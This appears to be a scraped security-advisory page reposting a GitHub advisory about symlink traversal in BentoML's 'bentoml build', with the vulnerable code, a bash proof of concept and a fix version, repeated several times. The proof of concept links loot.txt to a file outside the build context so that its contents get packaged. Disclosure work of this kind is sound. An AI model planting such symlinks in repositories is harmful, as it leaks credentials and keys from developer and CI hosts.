### Summary BentoML's `bentoml build` packaging workflow follows attacker-controlled symlinks inside the build context and copies the referenced file contents into the generated Bento artifact. If a victim builds an untrusted repository or other attacker-supplied build context, the attacker can place a symlink such as `loot.txt -> /tmp/outside-marker.txt` or a link to a more sensitive local file. When `bentoml build` runs, BentoML dereferences the symlink and packages the target file contents into the Bento. The leaked file can then propagate further through export, push, or containerization workflows. ### Details The vulnerable code walks files under the build context and copies each matched entry into the Bento source directory: ```python for root, _, files in os.walk(ctx_path): for f in files: dir_path = os.path.relpath(root, ctx_path) path = os.path.join(dir_path, f).replace(os.sep, "/") if specs.includes(path): src_file = ctx_path.joinpath(path) dst_file = target_fs.joinpath(dest_path) shutil.copy(src_file, dst_file) ``` There is no validation that the resolved path of `src_file` remains inside `ctx_path` before `shutil.copy` dereferences the source path. As a result, a repository-controlled symlink can cross the trust boundary from `attacker-controlled repository content` to `developer/CI host filesystem` during the build process. This is a build-time path traversal / symlink traversal issue in the packaging feature, not a runtime API issue. The resulting Bento may later be exported, pushed to remote storage, or converted into a container image, which amplifies the leakage impact. ### PoC The issue was verified in WSL against BentoML 1.4.38. The following script reproduces the vulnerability by using a harmless marker file outside the build directory. ```bash mkdir -p /tmp/bento-symlink-poc cd /tmp/bento-symlink-poc printf 'BENTOML_SYMLINK_POC_123456\n' > /tmp/outside-marker.txt cat > service.py <<'EOF' import bentoml @bentoml.service class Demo: @bentoml.api def ping(self, x: str) -> str: return x EOF cat > bentofile.yaml <<'EOF' service: "service:Demo" include: - "service.py" - "loot.txt" EOF ln -s /tmp/outside-marker.txt loot.txt bentoml build --output tag bentoml export demo:7pilrpjtlomelwct /tmp/poc.zip mkdir -p /tmp/poc-unzip unzip -o /tmp/poc.zip -d /tmp/poc-unzip find /tmp/poc-unzip -name loot.txt -print cat /tmp/poc-unzip/**/src/loot.txt 2>/dev/null || \ find /tmp/poc-unzip -path '*/src/loot.txt' -exec cat {} \; ``` - The script creates `/tmp/outside-marker.txt` outside the build context as a stand-in for a sensitive local file. - It creates a minimal BentoML service and explicitly includes `loot.txt` in `bentofile.yaml`. - It creates `loot.txt` as a symlink to the external marker file. <img width="1531" height="648" alt="image" src="https://github.com/user-attachments/assets/1312dcf0-74b0-4fb6-a05d-b68644470d82" /> - It runs `bentoml build`, exports the generated Bento, unzips it, and reads the packaged `src/loot.txt`. - Successful exploitation is confirmed when the packaged file contains `BENTOML_SYMLINK_POC_123456`, proving that BentoML copied the external file contents rather than keeping only the symlink. <img width="1315" height="121" alt="image" src="https://github.com/user-attachments/assets/6ed34f51-9b68-4fa9-8a42-011deb84d54e" /> <img width="1697" height="760" alt="image" src="https://github.com/user-attachments/assets/9b8a8ae5-4f06-46b4-9e4a-dee25cc5d203" /> ### Impact An attacker who can cause a developer, release engineer, or CI system to run `bentoml build` on an attacker-controlled repository can exfiltrate local files from the build host into the Bento artifact. This can expose secrets such as cloud credentials, SSH keys, API tokens, environment files, or other sensitive local configuration. Because Bento artifacts are commonly exported, uploaded, stored, or containerized after build, the leaked file contents can spread beyond the original build machine.
### Summary BentoML's `bentoml build` packaging workflow follows attacker-controlled symlinks inside the build context and copies the referenced file contents into the generated Bento artifact. If a victim builds an untrusted repository or other attacker-supplied build context, the attacker can place a symlink such as `loot.txt -> /tmp/outside-marker.txt` or a link to a more sensitive local file. When `bentoml build` runs, BentoML dereferences the symlink and packages the target file contents into the Bento. The leaked file can then propagate further through export, push, or containerization workflows. ### Details The vulnerable code walks files under the build context and copies each matched entry into the Bento source directory: ```python for root, _, files in os.walk(ctx_path): for f in files: dir_path = os.path.relpath(root, ctx_path) path = os.path.join(dir_path, f).replace(os.sep, "/") if specs.includes(path): src_file = ctx_path.joinpath(path) dst_file = target_fs.joinpath(dest_path) shutil.copy(src_file, dst_file) ``` There is no validation that the resolved path of `src_file` remains inside `ctx_path` before `shutil.copy` dereferences the source path. As a result, a repository-controlled symlink can cross the trust boundary from `attacker-controlled repository content` to `developer/CI host filesystem` during the build process. This is a build-time path traversal / symlink traversal issue in the packaging feature, not a runtime API issue. The resulting Bento may later be exported, pushed to remote storage, or converted into a container image, which amplifies the leakage impact. ### PoC The issue was verified in WSL against BentoML 1.4.38. The following script reproduces the vulnerability by using a harmless marker file outside the build directory. ```bash mkdir -p /tmp/bento-symlink-poc cd /tmp/bento-symlink-poc printf 'BENTOML_SYMLINK_POC_123456\n' > /tmp/outside-marker.txt cat > service.py <<'EOF' import bentoml @bentoml.service class Demo: @bentoml.api def ping(self, x: str) -> str: return x EOF cat > bentofile.yaml <<'EOF' service: "service:Demo" include: - "service.py" - "loot.txt" EOF ln -s /tmp/outside-marker.txt loot.txt bentoml build --output tag bentoml export demo:7pilrpjtlomelwct /tmp/poc.zip mkdir -p /tmp/poc-unzip unzip -o /tmp/poc.zip -d /tmp/poc-unzip find /tmp/poc-unzip -name loot.txt -print cat /tmp/poc-unzip/**/src/loot.txt 2>/dev/null || \ find /tmp/poc-unzip -path '*/src/loot.txt' -exec cat {} \; ``` - The script creates `/tmp/outside-marker.txt` outside the build context as a stand-in for a sensitive local file. - It creates a minimal BentoML service and explicitly includes `loot.txt` in `bentofile.yaml`. - It creates `loot.txt` as a symlink to the external marker file. <img width="1531" height="648" alt="image" src="https://github.com/user-attachments/assets/1312dcf0-74b0-4fb6-a05d-b68644470d82" /> - It runs `bentoml build`, exports the generated Bento, unzips it, and reads the packaged `src/loot.txt`. - Successful exploitation is confirmed when the packaged file contains `BENTOML_SYMLINK_POC_123456`, proving that BentoML copied the external file contents rather than keeping only the symlink. <img width="1315" height="121" alt="image" src="https://github.com/user-attachments/assets/6ed34f51-9b68-4fa9-8a42-011deb84d54e" /> <img width="1697" height="760" alt="image" src="https://github.com/user-attachments/assets/9b8a8ae5-4f06-46b4-9e4a-dee25cc5d203" /> ### Impact An attacker who can cause a developer, release engineer, or CI system to run `bentoml build` on an attacker-controlled repository can exfiltrate local files from the build host into the Bento artifact. This can expose secrets such as cloud credentials, SSH keys, API tokens, environment files, or other sensitive local configuration. Because Bento artifacts are commonly exported, uploaded, stored, or containerized after build, the leaked file contents can spread beyond the original build machine.
Update bentoml to 1.4.39 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanBentoML has Information Disclosure in `bentoml build` via symlink traversal in the build context affects bentoml (pip). Severity is medium. ### Summary BentoML's `bentoml build` packaging workflow follows attacker-controlled symlinks inside the build context and copies the referenced file contents into the generated Bento artifact. If a victim builds an untrusted repository or other attacker-supplied build context, the attacker can place a symlink such as `loot.txt -> /tmp/outside-marker.txt` or a link to a more sensitive local file. When `bentoml build` runs, BentoML dereferences the symlink and packages the target file contents into the Bento. The leaked file can then propagate further through export, push, or containerization workflows. ### Details The vulnerable code walks files under the build context and copies each matched entry into the Bento source directory: ```python for root, _, files in os.walk(ctx_path): for f in files: dir_path = os.path.relpath(root, ctx_path) path = os.path.join(dir_path, f).replace(os.sep, "/") if specs.includes(path): src_file = ctx_path.joinpath(path) dst_file = target_fs.joinpath(dest_path) shutil.copy(src_file, dst_file) ``` There is no validation that the resolved path of `src_file` remains inside `ctx_path` before `shutil.copy` dereferences the source path. As a result, a repository-controlled symlink can cross the trust boundary from `attacker-controlled repository content` to `developer/CI host filesystem` during the build process. This is a build-time path traversal / symlink traversal issue in the packaging feature, not a runtime API issue. The resulting Bento may later be exported, pushed to remote storage, or converted into a container image, which amplifies the leakage impact. ### PoC The issue was verified in WSL against BentoML 1.4.38. The following script reproduces the vulnerability by using a harmless marker file outside the build directory. ```bash mkdir -p /tmp/bento-symlink-poc cd /tmp/bento-symlink-poc printf 'BENTOML_SYMLINK_POC_123456\n' > /tmp/outside-marker.txt cat > service.py <<'EOF' import bentoml @bentoml.service class Demo: @bentoml.api def ping(self, x: str) -> str: return x EOF cat > bentofile.yaml <<'EOF' service: "service:Demo" include: - "service.py" - "loot.txt" EOF ln -s /tmp/outside-marker.txt loot.txt bentoml build --output tag bentoml export demo:7pilrpjtlomelwct /tmp/poc.zip mkdir -p /tmp/poc-unzip unzip -o /tmp/poc.zip -d /tmp/poc-unzip find /tmp/poc-unzip -name loot.txt -print cat /tmp/poc-unzip/**/src/loot.txt 2>/dev/null || \ find /tmp/poc-unzip -path '*/src/loot.txt' -exec cat {} \; ``` - The script creates `/tmp/outside-marker.txt` outside the build context as a stand-in for a sensitive local file. - It creates a minimal BentoML service and explicitly includes `loot.txt` in `bentofile.yaml`. - It creates `loot.txt` as a symlink to the external marker file. <img width="1531" height="648" alt="image" src="https://github.com/user-attachments/assets/1312dcf0-74b0-4fb6-a05d-b68644470d82" /> - It runs `bentoml build`, exports the generated Bento, unzips it, and reads the packaged `src/loot.txt`. - Successful exploitation is confirmed when the packaged file contains `BENTOML_SYMLINK_POC_123456`, proving that BentoML copied the external file contents rather than keeping only the symlink. <img width="1315" height="121" alt="image" src="https://github.com/user-attachments/assets/6ed34f51-9b68-4fa9-8a42-011deb84d54e" /> <img width="1697" height="760" alt="image" src="https://github.com/user-attachments/assets/9b8a8ae5-4f06-46b4-9e4a-dee25cc5d203" /> ### Impact An attacker who can cause a developer, release engineer, or CI system to run `bentoml build` on an attacker-controlled repository can exfiltrate local files from the build host into the Bento artifact. This can expose secrets such as cloud credentials, SSH keys, API tokens, environment files, or other sensitive local configuration. Because Bento artifacts are commonly exported, uploaded, stored, or containerized after build, the leaked file contents can spread beyond the original build machine.
AI coding agents often install or upgrade packages automatically in pip. A medium vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| bentomlpip | <=1.4.38 | 1.4.39 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate bentoml to 1.4.39 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanBentoML has Information Disclosure in `bentoml build` via symlink traversal in the build context affects bentoml (pip). Severity is medium. ### Summary BentoML's `bentoml build` packaging workflow follows attacker-controlled symlinks inside the build context and copies the referenced file contents into the generated Bento artifact. If a victim builds an untrusted repository or other attacker-supplied build context, the attacker can place a symlink such as `loot.txt -> /tmp/outside-marker.txt` or a link to a more sensitive local file. When `bentoml build` runs, BentoML dereferences the symlink and packages the target file contents into the Bento. The leaked file can then propagate further through export, push, or containerization workflows. ### Details The vulnerable code walks files under the build context and copies each matched entry into the Bento source directory: ```python for root, _, files in os.walk(ctx_path): for f in files: dir_path = os.path.relpath(root, ctx_path) path = os.path.join(dir_path, f).replace(os.sep, "/") if specs.includes(path): src_file = ctx_path.joinpath(path) dst_file = target_fs.joinpath(dest_path) shutil.copy(src_file, dst_file) ``` There is no validation that the resolved path of `src_file` remains inside `ctx_path` before `shutil.copy` dereferences the source path. As a result, a repository-controlled symlink can cross the trust boundary from `attacker-controlled repository content` to `developer/CI host filesystem` during the build process. This is a build-time path traversal / symlink traversal issue in the packaging feature, not a runtime API issue. The resulting Bento may later be exported, pushed to remote storage, or converted into a container image, which amplifies the leakage impact. ### PoC The issue was verified in WSL against BentoML 1.4.38. The following script reproduces the vulnerability by using a harmless marker file outside the build directory. ```bash mkdir -p /tmp/bento-symlink-poc cd /tmp/bento-symlink-poc printf 'BENTOML_SYMLINK_POC_123456\n' > /tmp/outside-marker.txt cat > service.py <<'EOF' import bentoml @bentoml.service class Demo: @bentoml.api def ping(self, x: str) -> str: return x EOF cat > bentofile.yaml <<'EOF' service: "service:Demo" include: - "service.py" - "loot.txt" EOF ln -s /tmp/outside-marker.txt loot.txt bentoml build --output tag bentoml export demo:7pilrpjtlomelwct /tmp/poc.zip mkdir -p /tmp/poc-unzip unzip -o /tmp/poc.zip -d /tmp/poc-unzip find /tmp/poc-unzip -name loot.txt -print cat /tmp/poc-unzip/**/src/loot.txt 2>/dev/null || \ find /tmp/poc-unzip -path '*/src/loot.txt' -exec cat {} \; ``` - The script creates `/tmp/outside-marker.txt` outside the build context as a stand-in for a sensitive local file. - It creates a minimal BentoML service and explicitly includes `loot.txt` in `bentofile.yaml`. - It creates `loot.txt` as a symlink to the external marker file. <img width="1531" height="648" alt="image" src="https://github.com/user-attachments/assets/1312dcf0-74b0-4fb6-a05d-b68644470d82" /> - It runs `bentoml build`, exports the generated Bento, unzips it, and reads the packaged `src/loot.txt`. - Successful exploitation is confirmed when the packaged file contains `BENTOML_SYMLINK_POC_123456`, proving that BentoML copied the external file contents rather than keeping only the symlink. <img width="1315" height="121" alt="image" src="https://github.com/user-attachments/assets/6ed34f51-9b68-4fa9-8a42-011deb84d54e" /> <img width="1697" height="760" alt="image" src="https://github.com/user-attachments/assets/9b8a8ae5-4f06-46b4-9e4a-dee25cc5d203" /> ### Impact An attacker who can cause a developer, release engineer, or CI system to run `bentoml build` on an attacker-controlled repository can exfiltrate local files from the build host into the Bento artifact. This can expose secrets such as cloud credentials, SSH keys, API tokens, environment files, or other sensitive local configuration. Because Bento artifacts are commonly exported, uploaded, stored, or containerized after build, the leaked file contents can spread beyond the original build machine.
AI coding agents often install or upgrade packages automatically in pip. A medium vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| bentomlpip | <=1.4.38 | 1.4.39 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard